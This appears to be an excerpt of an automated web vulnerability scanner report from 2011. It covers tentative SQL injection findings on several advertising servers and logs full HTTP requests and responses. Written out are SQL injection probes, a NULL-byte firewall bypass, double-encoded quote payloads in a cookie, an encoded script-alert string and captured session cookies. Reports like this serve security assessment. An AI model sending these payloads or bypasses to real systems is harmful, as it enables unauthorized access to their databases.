Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:24:20 GMT
Content-Length: 4501

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>


<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>

<SCRIPT LANGUAGE="JavaScript">

<!--
var clickThroughOverlayApplied = 'false';
var dcallowscriptaccess = 'never';
var plugin = false;
var advurl = 'http://di.casio.com/digital_cameras/TRYX/TRYX?utm_source= x1&utm_medium=display&utm_content=728x90-Casio-Dartboard&utm_campaign=tryx';
var alttext = '';
var dcgif = 'http://s0.2mdn.net/3178434/728x90-casio-dart.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content%3D728x90-Casio-Dartboard%26utm_campaign%3Dtryx';
var target = '_blank';
var dcbgcolor = '';
var dcswf = 'http://s0.2mdn.net/3178434/728x90-casio-dart.swf';
var dcminversion = '8';
var dccreativeheight = '90';

var clickTag = encodeURIComponent('http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/f/a2/%2a/r%3B240515919%3B1-0%3B0%3B63412091%3B3454-728/90%3B41891502/41909289/1%3Bu%3D17767350%3B%7Esscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content%3D728x90-Casio-Dartboard%26utm_campaign%3Dtryx');
function checkFlash(v){
var y, x, s="Shockwave", f="Flash", o="object", u="undefined", np=navigator.plugins, nm=navigator.mimeTypes, nmd="application/x-shockwave-flash";
v = Math.max(Math.floor(v) || 0, 6); // check if v is a number and use Flash Player 6 as the minimum player version
if(typeof np!=u&&typeof np[s+" "+f]==o&&(x=np[s+" "+f].description)&&!(typeof nm!=u&&nm[nmd]&&!nm[nmd].enabledPlugin)){
if(v<=x.match(/Shockwave Flash (\d+)/)[1])return true;}
else
...[SNIP]...

Request 2

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754?&1'%20and%201%3d2--%20=1 HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:24:21 GMT
Content-Length: 4389

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>


<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>

<SCRIPT LANGUAGE="JavaScript">

<!--
var clickThroughOverlayApplied = 'false';
var dcallowscriptaccess = 'never';
var plugin = false;
var advurl = 'http://di.casio.com/tryx?utm_source=x+1&utm_medium=display&utm_content=728x90-casioflip-flash&utm_campaign=tryx';
var alttext = '';
var dcgif = 'http://s0.2mdn.net/3178434/Casio-728x90.gif';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/tryx%3Futm_source%3Dx%2B1%26utm_medium%3Ddisplay%26utm_content%3D728x90-casioflip-flash%26utm_campaign%3Dtryx';
var target = '_blank';
var dcbgcolor = '';
var dcswf = 'http://s0.2mdn.net/3178434/Casio-728x90.swf';
var dcminversion = '9';
var dccreativeheight = '90';

var clickTag = encodeURIComponent('http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/f/a2/%2a/s%3B240515919%3B0-0%3B0%3B63412091%3B3454-728/90%3B42028567/42046354/1%3Bu%3D17767350%3B%7Esscs%3D%3fhttp://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/tryx%3Futm_source%3Dx%2B1%26utm_medium%3Ddisplay%26utm_content%3D728x90-casioflip-flash%26utm_campaign%3Dtryx');
function checkFlash(v){
var y, x, s="Shockwave", f="Flash", o="object", u="undefined", np=navigator.plugins, nm=navigator.mimeTypes, nmd="application/x-shockwave-flash";
v = Math.max(Math.floor(v) || 0, 6); // check if v is a number and use Flash Player 6 as the minimum player version
if(typeof np!=u&&typeof np[s+" "+f]==o&&(x=np[s+" "+f].description)&&!(typeof nm!=u&&nm[nmd]&&!nm[nmd].enabledPlugin)){
if(v<=x.match(/Shockwave Flash (\d+)/)[1])return true;}
else if(typeof window.ActiveXObject!=u){
for(y=16;y>=v;y--){
try{x=new A
...[SNIP]...

1.7. http://ads2.adbrite.com/v0/ad [zs parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ads2.adbrite.com
Path:	/v0/ad

Issue detail

The zs parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the zs parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /v0/ad?sid=1548716&zs=3330305f323530%00'&ifr=1&ref=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&zx=65&zy=5550&ww=1066&wh=967&fl=1 HTTP/1.1
Host: ads2.adbrite.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache="168362049x0.049+1303083450x544669068"; cv="1%3Aq1ZyLi0uyc91zUtWslIyyU9OqknPLc9PsUitqDFNLbEyLLRITSm1MrayMC%2FPL1WqBQA%3D"; rb=0:682865:20838240:null:0:684339:20838240:4dab7d35-b1d2-915a-d3c0-9d57f9c66b07:0:711384:20861280:c1e1301e-3a1f-4ca7-9870-f636b5f10e66:0:712156:20861280:xrd52zkwjuxh:0:742697:20828160:2931142961646634775:0:753292:20858400:AM-00000000030620452:0:762701:20861280:978972DFA063000D2C0E7A380BFA1DEC:0:779045:20861280:17647108006034089:0:782606:20861280::0:806205:20882880:0c2aede6-6bb6-11e0-8fe6-0025900a8ffe:0:810647:21077280:549188a1-a07c-4231-be94-7f725e1a19f7:0:830697:20838240:9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC:0; b="%3A%3Axews%2Clln4%2Cllra%2Cx4co%2Cx4cn%2Cx4cw%2C12gg8%2C12ggb%2C6e73"; srh="1%3Aq64FAA%3D%3D"; rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo0CgY3MTEzODQYiP7KzRMiJGMxZTEzMDFlLTNhMWYtNGNhNy05ODcwLWY2MzZiNWYxMGU2NgocCgY3MTIxNTYY6Nv74xMiDHhyZDUyemt3anV4aAojCgY3NDI2OTcYxaeOzw4iEzI5MzExNDI5NjE2NDY2MzQ3NzUKJAoGNzUzMjkyGNCZ6o0TIhRBTS0wMDAwMDAwMDAzMDYyMDQ1Mgo2CgY3NjI3MDEQhJaVmQoYpNGM7RMiIDk3ODk3MkRGQTA2MzAwMEQyQzBFN0EzODBCRkExREVDCiEKBjc3OTA0NRjPwZngEyIRMTc2NDcxMDgwMDYwMzQwODkKFgoGNzgyNjA2EIC7iqMKGICT7M0TIgAKNAoGODA2MjA1GMDJhpkVIiQwYzJhZWRlNi02YmI2LTExZTAtOGZlNi0wMDI1OTAwYThmZmUKNAoGODEwNjQ3GMnBh4REIiQ1NDkxODhhMS1hMDdjLTQyMzEtYmU5NC03ZjcyNWUxYTE5ZjcKMAoGODMwNjk3GIvXg80OIiA5UVF4Y1RPNXVIMklhN0JrNHZHUzJTOTZ1Zk9Hc1NEQxAB; ut="1%3AXZFbkoMgFET3wrcfPKJY2Y1EI0Qe8kgsDdl7gBmndH4Pp%2Bt2F2%2FwwuD6BtOwLsb1HlyBW6R6RmSVpzSiCKsMfAYz7Qu4cd6OFnavBOUYVMSRVV4ITbLFYIlF9JhgdnU94TqMP09DcnFfWUu2JZGWOJkIqnfvbk7eTtWJejlImQgLi4k0Noz8ifpfXDZibS6Z9vApj%2B35nOD24KdJ3Byhn0jIlrIalUkXZdIkp4wuNW3f%2FobLcVGfW2LvUmxe71rHLiIUtv3MgLPJ4XiIN%2FR2jIMKsE7rwYnyKeDz%2BQI%3D"; vsd=0@1@4dc81431@load.exelator.com

Response 1

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Connection: close
Server: XPEHb/1.0
Accept-Ranges: none
Date: Tue, 10 May 2011 13:19:37 GMT
Content-Length: 0

Request 2

GET /v0/ad?sid=1548716&zs=3330305f323530%00''&ifr=1&ref=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&zx=65&zy=5550&ww=1066&wh=967&fl=1 HTTP/1.1
Host: ads2.adbrite.com
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache="168362049x0.049+1303083450x544669068"; cv="1%3Aq1ZyLi0uyc91zUtWslIyyU9OqknPLc9PsUitqDFNLbEyLLRITSm1MrayMC%2FPL1WqBQA%3D"; rb=0:682865:20838240:null:0:684339:20838240:4dab7d35-b1d2-915a-d3c0-9d57f9c66b07:0:711384:20861280:c1e1301e-3a1f-4ca7-9870-f636b5f10e66:0:712156:20861280:xrd52zkwjuxh:0:742697:20828160:2931142961646634775:0:753292:20858400:AM-00000000030620452:0:762701:20861280:978972DFA063000D2C0E7A380BFA1DEC:0:779045:20861280:17647108006034089:0:782606:20861280::0:806205:20882880:0c2aede6-6bb6-11e0-8fe6-0025900a8ffe:0:810647:21077280:549188a1-a07c-4231-be94-7f725e1a19f7:0:830697:20838240:9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC:0; b="%3A%3Axews%2Clln4%2Cllra%2Cx4co%2Cx4cn%2Cx4cw%2C12gg8%2C12ggb%2C6e73"; srh="1%3Aq64FAA%3D%3D"; rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo0CgY3MTEzODQYiP7KzRMiJGMxZTEzMDFlLTNhMWYtNGNhNy05ODcwLWY2MzZiNWYxMGU2NgocCgY3MTIxNTYY6Nv74xMiDHhyZDUyemt3anV4aAojCgY3NDI2OTcYxaeOzw4iEzI5MzExNDI5NjE2NDY2MzQ3NzUKJAoGNzUzMjkyGNCZ6o0TIhRBTS0wMDAwMDAwMDAzMDYyMDQ1Mgo2CgY3NjI3MDEQhJaVmQoYpNGM7RMiIDk3ODk3MkRGQTA2MzAwMEQyQzBFN0EzODBCRkExREVDCiEKBjc3OTA0NRjPwZngEyIRMTc2NDcxMDgwMDYwMzQwODkKFgoGNzgyNjA2EIC7iqMKGICT7M0TIgAKNAoGODA2MjA1GMDJhpkVIiQwYzJhZWRlNi02YmI2LTExZTAtOGZlNi0wMDI1OTAwYThmZmUKNAoGODEwNjQ3GMnBh4REIiQ1NDkxODhhMS1hMDdjLTQyMzEtYmU5NC03ZjcyNWUxYTE5ZjcKMAoGODMwNjk3GIvXg80OIiA5UVF4Y1RPNXVIMklhN0JrNHZHUzJTOTZ1Zk9Hc1NEQxAB; ut="1%3AXZFbkoMgFET3wrcfPKJY2Y1EI0Qe8kgsDdl7gBmndH4Pp%2Bt2F2%2FwwuD6BtOwLsb1HlyBW6R6RmSVpzSiCKsMfAYz7Qu4cd6OFnavBOUYVMSRVV4ITbLFYIlF9JhgdnU94TqMP09DcnFfWUu2JZGWOJkIqnfvbk7eTtWJejlImQgLi4k0Noz8ifpfXDZibS6Z9vApj%2B35nOD24KdJ3Byhn0jIlrIalUkXZdIkp4wuNW3f%2FobLcVGfW2LvUmxe71rHLiIUtv3MgLPJ4XiIN%2FR2jIMKsE7rwYnyKeDz%2BQI%3D"; vsd=0@1@4dc81431@load.exelator.com

Response 2

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: policyref="http://files.adbrite.com/w3c/p3p.xml",CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC"
Content-Type: application/x-javascript
Set-Cookie: geo="1%3ADchBDoIwEIXhu8xaTTspmLJVT4AeYDpDCYlYA2gihLv7Ni%2Ff%2Bzf6emo2Woc3NcTOOX%2FEsqMDLSvSrb2DVkZ4Lnl5yq%2BbToqPOgpq5T2s5QM%2FWnDqX%2BD1As5DD2ZnMZ1TSJVFjsqqIkFqs6xdzSHQvv8B"; path=/; domain=.adbrite.com; expires=Tue, 17-May-2011 13:19:37 GMT
Set-Cookie: b="%3A%3Ax6zw%2Cxews%2Clln4%2Cllra%2Cx4co%2Cx4cn%2Cx4cw%2C12gg8%2C12ggb%2C6e73"; path=/; domain=.adbrite.com; expires=Wed, 09-May-2012 13:19:37 GMT
Set-Cookie: rb2=ChQKBjY4Mjg2NRj0n4jNDiIEbnVsbAo0CgY3MTEzODQYiP7KzRMiJGMxZTEzMDFlLTNhMWYtNGNhNy05ODcwLWY2MzZiNWYxMGU2NgocCgY3MTIxNTYY6Nv74xMiDHhyZDUyemt3anV4aAojCgY3NDI2OTcYxaeOzw4iEzI5MzExNDI5NjE2NDY2MzQ3NzUKJAoGNzUzMjkyGNCZ6o0TIhRBTS0wMDAwMDAwMDAzMDYyMDQ1Mgo2CgY3NjI3MDEQgJHl1gwYoMzcqhYiIDk3ODk3MkRGQTA2MzAwMEQyQzBFN0EzODBCRkExREVDCiEKBjc3OTA0NRjPwZngEyIRMTc2NDcxMDgwMDYwMzQwODkKFgoGNzgyNjA2EICR5dYMGKDM3KoWIgAKNAoGODA2MjA1GMDJhpkVIiQwYzJhZWRlNi02YmI2LTExZTAtOGZlNi0wMDI1OTAwYThmZmUKNAoGODEwNjQ3GMnBh4REIiQ1NDkxODhhMS1hMDdjLTQyMzEtYmU5NC03ZjcyNWUxYTE5ZjcKMAoGODMwNjk3GIvXg80OIiA5UVF4Y1RPNXVIMklhN0JrNHZHUzJTOTZ1Zk9Hc1NEQxAB; path=/; domain=.adbrite.com; expires=Mon, 08-Aug-2011 13:19:37 GMT
Set-Cookie: ut="1%3AXZFLloMgEEX3wtgBnyCe7EbFKJGPgImtIXtvIG239vTWrfeKwws8Mbi%2BwNiti3Hcgytwi1SPgKzyjAUUYJGAT2BiPIN2GKrewvoZoexnFXBoCi%2BEJslqYF4L6D7C5Go6Yjr3n1EXXcwLa8m2RFIRJyNBdPdu5uTtVJ2ol52UkTTzYgILZUN%2BRf1vXZZiLS%2BJcviQx%2BuHKcLtPnye5EcyJ6CsRvn6izLwzzVH1ymj85mWVz%2BJuVzQ85U15nVADlE%2F5civNvZg72LBtN60DnGK5m0v6XBaH2B%2FyCxZe8wEBWhqrTsn8k%2BB9%2Fsb"; path=/; domain=.adbrite.com; expires=Fri, 07-May-2021 13:19:37 GMT
Set-Cookie: vsd=0@1@4dc93b69@letters.salon.com; path=/; domain=.adbrite.com; expires=Thu, 12-May-2011 13:19:37 GMT
Set-Cookie: fq="86xtm%2C1uo0%7Clkzecp"; path=/; domain=.adbrite.com; expires=Wed, 09-May-2012 13:19:37 GMT
Connection: close
Server: XPEHb/1.0
Accept-Ranges: none
Date: Tue, 10 May 2011 13:19:37 GMT
Content-Length: 2399

var ADBRITE_setIFrameContent;

if (!ADBRITE_setIFrameContent) {
ADBRITE_setIFrameContent = [];
}

function AdBriteRender_292a35e5_b798_439f_9862_68be7dcb20b5() {
var frame = frames.AdBriteFrame_292a
...[SNIP]...

1.8. http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [FFChanCap cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fm.js

Issue detail

The FFChanCap cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the FFChanCap cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the FFChanCap cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /bar/v16-406/c5/jsc/fm.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=&$=&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1%2527; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129

Response 1 (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFChanCap=1590B305,4479#885253|0,1,1;expires=Thu, 09 Jun 2011 13:24:16 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=467
Expires: Tue, 10 May 2011 13:32:03 GMT
Date: Tue, 10 May 2011 13:24:16 GMT
Connection: close
Content-Length: 6751

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat='';var zz
...[SNIP]...
;
zzWindow.document.close();
}
}
if(zzIE) {
if(zzShowPop == 0) {
setTimeout('zzRetryPop()',2000);
}
}
}
function zzRetryPop() {
if(!zzShowPop) {
window.showModelessDialog("javascript:function blockError(){return true;} var zedo_popwin = window.open('" + zzURL + "','_blank','toolbar=no,resizable=yes,scrollbars=no,channelmode=no,directories=no,width=430,height=600,left=" +(screen.height-600)/2 + ",top=
...[SNIP]...

Request 2

GET /bar/v16-406/c5/jsc/fm.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=&$=&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1%2527%2527; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129

Response 2 (redirected)

1.9. http://imp.fetchback.com/serve/fb/imp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://imp.fetchback.com
Path:	/serve/fb/imp

Issue detail

Request 1

GET /serve/fb/imp?tid=59178&type=lead&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D&1%20and%201%3d1--%20=1 HTTP/1.1
Host: imp.fetchback.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAgUCAAIAAAAABiaUgQAAAAA.&pubclick=http://bid.openx.net/click?cd%3DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%3D%26dst%3D&tt_code=huffingtonpost.com&udj=uf%28%27a%27%2C+2248%2C+1305033483%29%3Buf%28%27c%27%2C+61473%2C+1305033483%29%3Buf%28%27r%27%2C+272040%2C+1305033483%29%3Bppv%287166%2C+%27265419216675680020%27%2C+1305033483%2C+1336569483%2C+61473%2C+25661%29%3B&cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.&referrer=http://www.huffingtonpost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
